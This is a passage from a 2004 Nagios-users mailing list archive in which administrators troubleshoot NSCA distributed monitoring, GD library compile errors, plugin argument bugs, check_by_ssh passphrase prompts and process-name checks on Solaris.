sqlservr.exe: Running Make sure you allowed the remote server in you nsca.cfg file and that you can send a command to the master server from command line. allowed_hosts=192.168.1.2,192.168.1.3,192.168.1.4 I run 15 servers in a giant cluster and it works well for me. Thanks. Ric. -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of James Bowes Sent: Thursday, March 18, 2004 5:14 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Distributed monitoring continued Hi. I have the 2 servers running in a LAN for testing. I am not seeing anything other than pending on the central server. I set up the nsca service in /etc/services and the nsca aspect in xinetd.d/nsca. I have no tcp_wrappers running and I can see the central server listening for connections on port 5567. Is there something I should be checking in the log files to see if they're talking to each other? James Bowes, Senior Consultant, Express Computer Service Centre. 604-535-6508 ext.305 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Fri Mar 19 00:47:12 2004 From: james at expresscomputers.com (James Bowes) Date: Thu, 18 Mar 2004 15:47:12 -0800 Subject: Distributed monitoring continued Message-ID: Hi Ric. Here's what I get on the distributed server: [1079610144] SERVICE;sim.test.net;check C drive;UNKNOWN;3/3;HARD;1079610021;1079610924;ACTIVE;1;1;1;1079595842;0;U NKNOWN;0;13258;0;0;0;0;1;0;0;1;0;0.00;0;1;1;1;wrong -l argument [1079610144] SERVICE;sim.test.net;check D drive;UNKNOWN;3/3;HARD;1079609853;1079610456;ACTIVE;1;1;1;1079595372;0;U NKNOWN;0;14452;0;0;0;0;1;0;0;1;0;0.00;0;1;1;1;wrong -l argument [1079610144] SERVICE;sim.test.net;check Exchange services;OK;1/3;HARD;1079609865;1079610768;ACTIVE;1;1;1;1079595676;0;OK; 14148;0;0;0;0;0;1;0;0;1;0;0.00;0;1;1;1;All services are running While on the central server, I get: [1079653168] SERVICE;sim.test.net;check C drive;PENDING;0/3;HARD;0;1079653723;ACTIVE;1;1;1;0;0;OK;0;0;0;0;0;0;1;0; 0;1;0;0.0;0;1;1;1;Service check scheduled for Thu Mar 18 15:48:43 2004 [1079653168] SERVICE;sim.test.net;check D drive;PENDING;0/3;HARD;0;1079653255;ACTIVE;1;1;1;0;0;OK;0;0;0;0;0;0;1;0; 0;1;0;0.0;0;1;1;1;Service check scheduled for Thu Mar 18 15:40:55 2004 [1079653168] SERVICE;sim.test.net;check Exchange services;PENDING;0/3;HARD;0;1079653567;ACTIVE;1;1;1;0;0;OK;0;0;0;0;0;0;1 ;0;0;1;0;0.0;0;1;1;1;Service check scheduled for Thu Mar 18 15:46:07 2004 I am curious, I have service checking disabled on the central server and accept passive enabled. I also have the distributed server as being allowed in the nsca.cfg file. Are the hosts to be defined on both servers? --james -----Original Message----- From: Ric Moseley [mailto:ric at nkn.net] Sent: Thursday, March 18, 2004 3:35 PM To: James Bowes; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Distributed monitoring continued In the nagios.log file you will see something line: [1079652629] EXTERNAL COMMAND: PROCESS_SERVICE_CHECK_RESULT;SERVER1;check_nt_process_custom_sqlservr_ex e;0; sqlservr.exe: Running Make sure you allowed the remote server in you nsca.cfg file and that you can send a command to the master server from command line. allowed_hosts=192.168.1.2,192.168.1.3,192.168.1.4 I run 15 servers in a giant cluster and it works well for me. Thanks. Ric. -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of James Bowes Sent: Thursday, March 18, 2004 5:14 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Distributed monitoring continued Hi. I have the 2 servers running in a LAN for testing. I am not seeing anything other than pending on the central server. I set up the nsca service in /etc/services and the nsca aspect in xinetd.d/nsca. I have no tcp_wrappers running and I can see the central server listening for connections on port 5567. Is there something I should be checking in the log files to see if they're talking to each other? James Bowes, Senior Consultant, Express Computer Service Centre. 604-535-6508 ext.305 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhennessy at mitchamcouncil.sa.gov.au Fri Mar 19 01:05:19 2004 From: jhennessy at mitchamcouncil.sa.gov.au (Justin Hennessy) Date: Fri, 19 Mar 2004 10:35:19 +1030 Subject: Statusmap Message-ID: I am afraid I have already tried this and I get the same result that I posted below. >>> Jason Martin 19/03/2004 9:17:07 am >>> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 If you've installed those libraries after you attempted the first configure() you may want to perform a "make distclean" and rerun the configure; the cached values might cause a problem. - -Jason Martin On Fri, 19 Mar 2004, Justin Hennessy wrote: > Ok here we go. > > I am running Nagios 1.2 on a Red Hat 9, 2.4 kernel (fairly new one). > > This is the error from the configure script: > ---------------------------------------------------------------------------------------------------------------------------------------- > checking for main in -liconv... (cached) no > checking for gdImagePng in -lgd (order 1)... (cached) no > checking for gdImagePng in -lgd (order 2)... (cached) no > checking for gdImagePng in -lgd (order 3)... (cached) no > > > *** GD, PNG, and/or JPEG libraries could not be located... ********* > > Boutell's GD library is required to compile the statusmap, trends > and histogram CGIs. Get it from http://www.boutell.com/gd/, compile > it, and use the --with-gd-lib and --with-gd-inc arguments to specify > the locations of the GD library and include files. > > NOTE: In addition to the gd-devel library, you'll also need to make > sure you have the png-devel and jpeg-devel libraries installed > on your system. > > NOTE: After you install the necessary libraries on your system: > 1. Make sure /etc/ld.so.conf has an entry for the directory in > which the GD, PNG, and JPEG libraries are installed. > 2. Run 'ldconfig' to update the run-time linker options. > 3. Run 'make clean' in the Nagios distribution to clean out > any old references to your previous compile. > 4. Rerun the configure script. > > NOTE: If you can't get the configure script to recognize the GD libs > on your system, get over it and move on to other things. The > CGIs that use the GD libs are just a small part of the entire > Nagios package. Get everything else working first and then > revisit the problem. Make sure to check the nagios-users > mailing list archives for possible solutions to GD library > problems when you resume your troubleshooting. > > --------------------------------------------------------------------------------------------------------------------------------------- > > I have gone thorough and installed all of the modules that the FAQ said > to (http://www.nagios.org/faqs/viewfaq.php?faq_id=55). > Here are the versions of these packages: > > libgd-1.3-4 > libgd-devel-1.3-4 > libpng-1.2.2-16 > libpng10-1.0.13-8 > libpng-devel-1.2.2-16 > libjpeg-6b-26 > libjpeg-devel-6b-26 > zlib-1.1.4-8 > zlib-devel-1.1.4-8 > > When doing the configure script I have also used the --with-gd-lib and > --with-gd-inc switches to tell it where they live. > > GD lib lives here: /usr/lib/ > > When I run the make all process again I only get this (with just some > comments at the end about using make install etc): > > cd ./base && make > make[1]: Entering directory `/root/nagios-1.2/base' > gcc -g -O2 -DHAVE_CONFIG_H -DNSCORE nagios.c checks.o config.o > commands.o flapping.o logging.o notifications.o sehandlers.o utils.o > sretention.o ../xdata/xrddefault.c ../common/comments.c > ../xdata/xcddefault.c ../common/objects.c ../xdata/xodtemplate.c > ../common/statusdata.c ../xdata/xsddefault.c perfdata.o > ../xdata/xpddefault.c ../common/downtime.c ../xdata/xdddefault.c -lm > -o nagios > make[1]: Leaving directory `/root/nagios-1.2/base' > cd ./cgi && make > make[1]: Entering directory `/root/nagios-1.2/cgi' > make[1]: Nothing to be done for `all'. > make[1]: Leaving directory `/root/nagios-1.2/cgi' > cd ./html && make > make[1]: Entering directory `/root/nagios-1.2/html' > make[1]: Nothing to be done for `all'. > make[1]: Leaving directory `/root/nagios-1.2/html' > > Hopefully this is all that you need, if not just email me. > > Thanks, > > Justin > > > > >>> "Marc Powell" 19/03/2004 12:40:50 am >>> > Something is complaining somewhere during the configure or compile > process. You'll need to watch those two carefully and send to the list > any errors that are output (or the entire output of ./configure and > possibly 'make all' if you see none). We'll also need to know more > about > your environment: what OS/version, what version of Nagios, what > version > of GD, where GD is installed, etc... > > -- > Marc > > Justin Hennessy wrote: > > I have done ALL of this and this problem still remains. Where do I > go > > next? > > > >>>> "Marc Powell" 18/03/2004 5:27:50 am >>> > > http://www.nagios.org/faqs/viewfaq.php?faq_id=55 > > > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAWib0l2ODWuqVSBMRAp72AJ4xkaPaQAxXs+m1yz61Y+VqhibH9wCfcKA1 SxhOKRx7EMJNijzpkL5gB8U= =XxO+ -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Fri Mar 19 01:17:08 2004 From: james at expresscomputers.com (James Bowes) Date: Thu, 18 Mar 2004 16:17:08 -0800 Subject: Nsca through xinetd Message-ID: Hi all. I am getting a bit further figuring this out. It's kind of painful getting up to a decent level of familiarity in the public so thanks for all the help that has been given. As of now I believe I am down to a couple of minor issues. I get this message from the central server logs when I telnet to port 5567: Unknown option specified in config file '/usr/local/nagios/etc/nagios.cfg' - Line 19 And of course the other is from posting earlier about the differences in the nagios.log files on the central and distributed servers respectively. Thanks again and hopefully, someone will have seen this error before. --james ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Fri Mar 19 01:54:43 2004 From: james at expresscomputers.com (James Bowes) Date: Thu, 18 Mar 2004 16:54:43 -0800 Subject: Passive checks from distributed server Message-ID: Hi. I will check that and see if it helps. For the record, I am using the 1.4.0alpha1 series of plugins. Thanks for the suggestion Justin ;) --james -----Original Message----- From: Justin Hennessy [mailto:jhennessy at mitchamcouncil.sa.gov.au] Sent: Thursday, March 18, 2004 4:48 PM To: James Bowes; nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Passive checks from distributed server James, Not sure if this is related but if you are using the check_local_disk on the remote machine, I found one of the plugin versions had a strange bug where by the drive letter string had to be more than 1 character long (ie "C" wouldn't work but "C Drive" would). When I was calling it it looked something like this check_local_disk!C Drive!10!20 If I didn't do this then I would get the "wrong -l argument". Updating the plugins fixed this for me. Justin >>> "James Bowes" 19/03/2004 6:32:00 am >>> Hi folks. I have set up a distributed server which starts the nagios process correctly though produces an error when trying to run the 'submit_check_result' script under /usr/local/nagios/libexec/eventhandlers. Here is the error: Warning: Attempting to execute the command "/usr/local/nagios/libexec/eventhandlers/submit_check_result helium 'check C drive' UNKNOWN 'wrong -l argument'" resulted in a return code of 127. Make sure the script or binary you are trying to execute actually exists... Any advice on what I have overlooked is appreciated. --james ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhennessy at mitchamcouncil.sa.gov.au Fri Mar 19 01:48:11 2004 From: jhennessy at mitchamcouncil.sa.gov.au (Justin Hennessy) Date: Fri, 19 Mar 2004 11:18:11 +1030 Subject: Passive checks from distributed server Message-ID: James, Not sure if this is related but if you are using the check_local_disk on the remote machine, I found one of the plugin versions had a strange bug where by the drive letter string had to be more than 1 character long (ie "C" wouldn't work but "C Drive" would). When I was calling it it looked something like this check_local_disk!C Drive!10!20 If I didn't do this then I would get the "wrong -l argument". Updating the plugins fixed this for me. Justin >>> "James Bowes" 19/03/2004 6:32:00 am >>> Hi folks. I have set up a distributed server which starts the nagios process correctly though produces an error when trying to run the 'submit_check_result' script under /usr/local/nagios/libexec/eventhandlers. Here is the error: Warning: Attempting to execute the command "/usr/local/nagios/libexec/eventhandlers/submit_check_result helium 'check C drive' UNKNOWN 'wrong -l argument'" resulted in a return code of 127. Make sure the script or binary you are trying to execute actually exists... Any advice on what I have overlooked is appreciated. --james ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From hala at kraj-jihocesky.cz Fri Mar 19 07:21:40 2004 From: hala at kraj-jihocesky.cz (=?iso-8859-2?B?SOFsYSBW4WNsYXY=?=) Date: Fri, 19 Mar 2004 07:21:40 +0100 Subject: process_performance_data Message-ID: <15389E0EDA10414284F3453E702845BD0289E5@scb02.kraj-jihocesky.cz> Hi all, I have problem with nagios 1.2 and performance data. In my nagios.cfg I set process_performance_data=1 service_perfdata_command=process-service-perfdata, in misccommands.cfg I have default definiton of command process-service-perfdata from examples. On FreeBSD 4.9 is all O.K, but on FreeBSD 5.2.1 with same configuration is none output from command process-service-perfdata. Have someone same problem?? Thanks, Vaclav ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ric at nkn.net Fri Mar 19 15:13:54 2004 From: ric at nkn.net (Ric Moseley) Date: Fri, 19 Mar 2004 08:13:54 -0600 Subject: Distributed monitoring continued In-Reply-To: References: Message-ID: Yes, you must have both hosts and services defined on both servers. The reason the master might be doing service checks if because you might have 'freshness checking' on. If a service is not fresh enough, the master will perform its own check. This is useful if one of the slave servers goies down. In looking at the log file, your master is not receiving passive checks. You should have a submit_check_result command in you libexec dir that you created. It will look something like: (change paths) #!/bin/sh # Arguments # $1 = name of host in service definition # $2 = name/description of service in service definition # $3 = return code (0=OK,1=warn,2=critical,3=unknown) # $4 = output # $5 = monitoring server /bin/echo "$1\t$2\t$3\t$4\n" | /usr/local/nsca/send_nsca $5 -c /usr/local/nsca/send_nsca.cfg Then from command line you should be able to do: ./submit_check_result "" 0 "ok" XXX.XXX.XXX.XXX If all goes well you should see: 1 data packet(s) sent to host successfully. Thanks. Ric. -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of James Bowes Sent: Thursday, March 18, 2004 5:47 PM To: Ric Moseley; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Distributed monitoring continued Hi Ric. Here's what I get on the distributed server: [1079610144] SERVICE;sim.test.net;check C drive;UNKNOWN;3/3;HARD;1079610021;1079610924;ACTIVE;1;1;1;1079595842;0;U NKNOWN;0;13258;0;0;0;0;1;0;0;1;0;0.00;0;1;1;1;wrong -l argument [1079610144] SERVICE;sim.test.net;check D drive;UNKNOWN;3/3;HARD;1079609853;1079610456;ACTIVE;1;1;1;1079595372;0;U NKNOWN;0;14452;0;0;0;0;1;0;0;1;0;0.00;0;1;1;1;wrong -l argument [1079610144] SERVICE;sim.test.net;check Exchange services;OK;1/3;HARD;1079609865;1079610768;ACTIVE;1;1;1;1079595676;0;OK; 14148;0;0;0;0;0;1;0;0;1;0;0.00;0;1;1;1;All services are running While on the central server, I get: [1079653168] SERVICE;sim.test.net;check C drive;PENDING;0/3;HARD;0;1079653723;ACTIVE;1;1;1;0;0;OK;0;0;0;0;0;0;1;0; 0;1;0;0.0;0;1;1;1;Service check scheduled for Thu Mar 18 15:48:43 2004 [1079653168] SERVICE;sim.test.net;check D drive;PENDING;0/3;HARD;0;1079653255;ACTIVE;1;1;1;0;0;OK;0;0;0;0;0;0;1;0; 0;1;0;0.0;0;1;1;1;Service check scheduled for Thu Mar 18 15:40:55 2004 [1079653168] SERVICE;sim.test.net;check Exchange services;PENDING;0/3;HARD;0;1079653567;ACTIVE;1;1;1;0;0;OK;0;0;0;0;0;0;1 ;0;0;1;0;0.0;0;1;1;1;Service check scheduled for Thu Mar 18 15:46:07 2004 I am curious, I have service checking disabled on the central server and accept passive enabled. I also have the distributed server as being allowed in the nsca.cfg file. Are the hosts to be defined on both servers? --james -----Original Message----- From: Ric Moseley [mailto:ric at nkn.net] Sent: Thursday, March 18, 2004 3:35 PM To: James Bowes; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Distributed monitoring continued In the nagios.log file you will see something line: [1079652629] EXTERNAL COMMAND: PROCESS_SERVICE_CHECK_RESULT;SERVER1;check_nt_process_custom_sqlservr_ex e;0; sqlservr.exe: Running Make sure you allowed the remote server in you nsca.cfg file and that you can send a command to the master server from command line. allowed_hosts=192.168.1.2,192.168.1.3,192.168.1.4 I run 15 servers in a giant cluster and it works well for me. Thanks. Ric. -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of James Bowes Sent: Thursday, March 18, 2004 5:14 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Distributed monitoring continued Hi. I have the 2 servers running in a LAN for testing. I am not seeing anything other than pending on the central server. I set up the nsca service in /etc/services and the nsca aspect in xinetd.d/nsca. I have no tcp_wrappers running and I can see the central server listening for connections on port 5567. Is there something I should be checking in the log files to see if they're talking to each other? James Bowes, Senior Consultant, Express Computer Service Centre. 604-535-6508 ext.305 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ngeldenhuys at rmbam.co.za Fri Mar 19 15:40:29 2004 From: ngeldenhuys at rmbam.co.za (Nardus Geldenhuys) Date: Fri, 19 Mar 2004 16:40:29 +0200 Subject: Does check_by_ssh work with ssh-agent and/or keychain ? Message-ID: <405B065D.3070305@rmbam.co.za> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi People Does check_by_ssh work with ssh-agent and/or keychain ?? Is there anybody with a working system using this method ? I have setup everything. The user is "nagios". I can "ssh user at host" with no problem and no password prompt :) But when I run "/usr/nagios/libexec/check_by_ssh -H support at shark -C /usr/bin/ls" I get this prompt "Enter passphrase for key '/home/nagios/.ssh/id_rsa':". Is the error with ssh or the plugin ? Any help will help :) Thank you Nar*;) -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFAWwZdFF1rWDVbV84RAqotAJ9+cLP5cyJwvTmEArZRTIl7QJVCdgCfUr+d aYZ+VHdhmE6JBA26psxMW7c= =IK/D -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Fri Mar 19 15:51:48 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Fri, 19 Mar 2004 14:51:48 +0000 Subject: nagios.cfg In-Reply-To: References: Message-ID: <405B0904.2000203@exponential-e.com> nagios wrote: > I have installed nagios and the plugin. At the stage I have my web > interface configured. I also installed the sample scripts. When I run the > following command for the preflight > /usr/local/nagios/bin/nagios -v /usr/local/nagios/nagios.cfg > which hits me back with lots of errors. I have read the documentation but > looking for abit of advice how to go about in configuring the scripts for > the purpose of a demo on my local machine to check_alive to get a feel for > the nagios software. I'm assuming that you did change/customise that sample scripts for you environment? Why don't you post the errors you don't understand along with the appropriate section of the config to the list? Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Fri Mar 19 15:58:00 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Fri, 19 Mar 2004 14:58:00 +0000 Subject: Monitoring Long process names on Solaris In-Reply-To: <20040317074406.5f1a9876@bluez.bueche.ch> References: <20040316222421.0cec33e2@bluez.bueche.ch> <20040317074406.5f1a9876@bluez.bueche.ch> Message-ID: <405B0A78.9050504@exponential-e.com> Charles Bueche wrote: > well, for some things, you have no choice. We do it that way (not in > Nagios) to check for processes that must run and have ugly long names > (eg WLS instances). The right way is to run it once every 5 minutes and > look for all processes you want (not running /usr/ucb/ps auxwww | grep > pname for each process). Just a thought, have you tried using pgrep? Don't know if it will help get around the long names. I'm using perl's proc::processtable you might get some milage from this. Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From h.januschka at krone.at Fri Mar 19 16:05:28 2004 From: h.januschka at krone.at (Helmut Januschka) Date: Fri, 19 Mar 2004 16:05:28 +0100 Subject: AW: Monitoring Long process names on Solaris Message-ID: <481EAEA6BAED9A4EAF26BA149197AA3E87F631@office1.online.krone.at> on heavy load systems we are using grep "" /proc/*/cmdline instead of ps auxww cu -----Urspr?ngliche Nachricht----- Von: Jim Mozley [mailto:jim.mozley at exponential-e.com] Gesendet: Freitag, 19. M?rz 2004 15:58 Cc: nagios-users at lists.sourceforge.net Betreff: Re: [Nagios-users] Monitoring Long process names on Solaris Charles Bueche wrote: > well, for some things, you have no choice. We do it that way (not in > Nagios) to check for processes that must run and have ugly long names > (eg WLS instances). The right way is to run it once every 5 minutes > and look for all processes you want (not running /usr/ucb/ps auxwww | > grep pname for each process). Just a thought, have you tried using pgrep? Don't know if it will help get around the long names. I'm using perl's proc::processtable you might get some milage from this. Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Fri Mar 19 17:00:59 2004 From: agrajag at dragaera.net (Sean 